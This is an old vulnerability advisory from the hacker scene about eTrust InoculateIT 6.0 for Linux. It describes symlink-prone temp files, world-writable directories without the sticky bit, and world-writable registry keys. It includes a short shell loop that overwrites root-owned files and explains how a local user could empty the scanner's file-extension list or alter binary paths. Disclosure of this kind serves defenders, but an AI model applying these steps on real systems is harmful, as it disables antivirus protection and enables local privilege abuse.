author: l0om
software: eTrust Virus Protection 6.0 InoculateIT for
linux
local phun with etrust antivirus 6.0 inoculateIT
linux
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
eTrust InnoculateIT 6.0 comes for the following OSes:
-windows 95/98/ME
-windows nt 4.0/2000
-novell netware 3.x 4.x 5.x
-lotus notes/domino
-mircosoft exchange server
-and finally linux (SuSE, RedHat, Caldera, Turbo
Linux)
eTrust is a antivirus program which can scan nearly
every fileformat
for viruses. i have installed the version for linux
on my SuSE 9.0 system
and noticed the following security flaws:
1) possible symlink attacks in some scripts
by the way- the env variable $CAIGLBL0000 can be /
usr/local/eTrust/ for example.
however - the $CAIGLGL0000/tmp IS world writable...
ino/scripts/inoregupdate
########################
[...]
tfn=$CAIGLBL0000/tmp/.inoreg.ns.$$
$NETSTAT -i 2>/dev/null | grep -v localhost > $tfn
[...]
scripts/uniftest
################
local=$CAIGLBL0000/tmp
local1=$CAIGLBL0000/scripts
[...]
$CAIGLBL0000/bin/unips > $local/unips.$$
awk -f $local1/uniftest.awk $local/unips.$$
st_rc=$?
rm $local/unips.$$
[...]
scripts/unimove
###############
sed -e "s!$from!$to!g" $fn > /
tmp/.unimove.sed #<-- creats it now
diff $fn /tmp/.unimove.sed > /dev/null
if [ $? != 0 -a -s /tmp/.unimove.sed ];
then
mv /tmp/.unimove.sed $fn
rm /tmp/.unimove.sed # dels it if
finished
2) some directorys in /tmp dont have the sticky bit
set
an example:
eTrustAE.lnx/tmp/.caipcs/ # ls -l
drwxrwxrwx 8 root root 240 2004-02-05
09:58 .
drwxrwxrwx 4 root root 160 2004-02-09
16:53 ..
drwxrwxrwx 2 root root 48 2004-02-05
09:54 .file
-rw-r--r-- 1 root root 4110 2004-02-05
09:58 ipcrm.log
drwxrwxrwx 2 root root 856 2004-02-05
10:48 .nob_event
drwxrwxrwx 2 root root 1168 2004-02-05
10:48 .nob_mutex
drwxrwxrwx 2 root root 48 2004-02-05
09:54 .nob_sem
drwxrwxrwx 2 root root 384 2004-02-05
10:48 .sem
drwxrwxrwx 2 root root 80 2004-02-05
10:48 .shm
eTrustAE.lnx/tmp/.caipcs # ls -l .sem
drwxrwxrwx 2 root root 384 2004-02-05
10:48 .
drwxrwxrwx 8 root root 240 2004-02-05
09:58 ..
-rw------- 1 root root 20 2004-02-05
10:01 3571729
-rw------- 1 root root 5 2004-02-05
09:58 3702805
-rw------- 1 root root 25 2004-02-05
10:01 3735574
-rw------- 1 root root 25 2004-02-05
10:01 3768343
-rw------- 1 root root 15 2004-02-05
09:58 3801112
this directory includes values which are kinda
sensetive. so only root can
read or write them as we can see at this
filepermissions.
but as the upper directory /.sem has no sticky bit
set and is world writeable.
we can simple overwrite these files as the directory
permissions are of a
higher priority as the file permissions. this is the
truth for a handful of
directorys.
for example:
badass~:> phun()
{
for i in `ls /usr/local/eTrustAE.lnx/
tmp/.caipcs/.sem`; do
cp -f ~/myblankass.ascii /usr/local/eTrustAE.lnx/
tmp/.caipcs/.sem/$i
done
echo jupp
}
badass~:> phun
jupp
badass~:>
3) world writeable
with the linux version of etrust there come some
directroys which we all know- the
"registry". it seems like the whole registry key is
world writeable:
>find ./ -type f -perm -2 -print
./registry/hkey_current_user/software/
computerassociates/inoculateit/6.0/local_scanner/
macro_cure_action
./registry/hkey_current_user/software/
computerassociates/inoculateit/6.0/local_scanner/
scan_files
./registry/hkey_current_user/software/
computerassociates/inoculateit/6.0/local_scanner/
log_infected_files
./registry/hkey_current_user/software/
computerassociates/inoculateit/6.0/local_scanner/
specified_list
./registry/hkey_local_machine/software/
computerassociates/scanengine/path/home
./registry/hkey_local_machine/software/
computerassociates/scanengine/path/logs
[...]
they got the sticky bit set, therefore we cannot
overwrite or delte them, but sometimes we can
change sensetive values in the registry. for example:
cat ./registry/hkey_current_user/software/
computerassociates/inoculateit/6.0/local_scanner/
specified_list
|COM|DLL|DOT|DOC|EXE|SYS|VXD|XLA|XLS|XLT|XLW|RTF|WIZ|
386|ADT|BIN|CBT|CLA|CPL|CSC|DRV|HTM|HTT|JS|MDB|MSO|
POT|
PPT|SCR|SHS|VBS|VSD|VST|VSS|OCX|HLP|CHM|MSI|VBE|JSE|
PIF|BAT|
this key contains a list of fileends which specifies
what files should be scaned for a virus.
a normal user can simply delte all values except one
from this list, and can make the scanner pretty
lame...
furthermore there are worldwritable keys like
"windows/currentversion", with keys which include the
path to
the normal binarys ("/usr/bin"). it may be possible
to execute whatever you want on a reboot if you
change
the right keys in the right way.
have phun!
feel phree!
life phat!
YaCP - (Y)ast (a)nother (C)yber(P)unk
--l0om
--www.excluded.org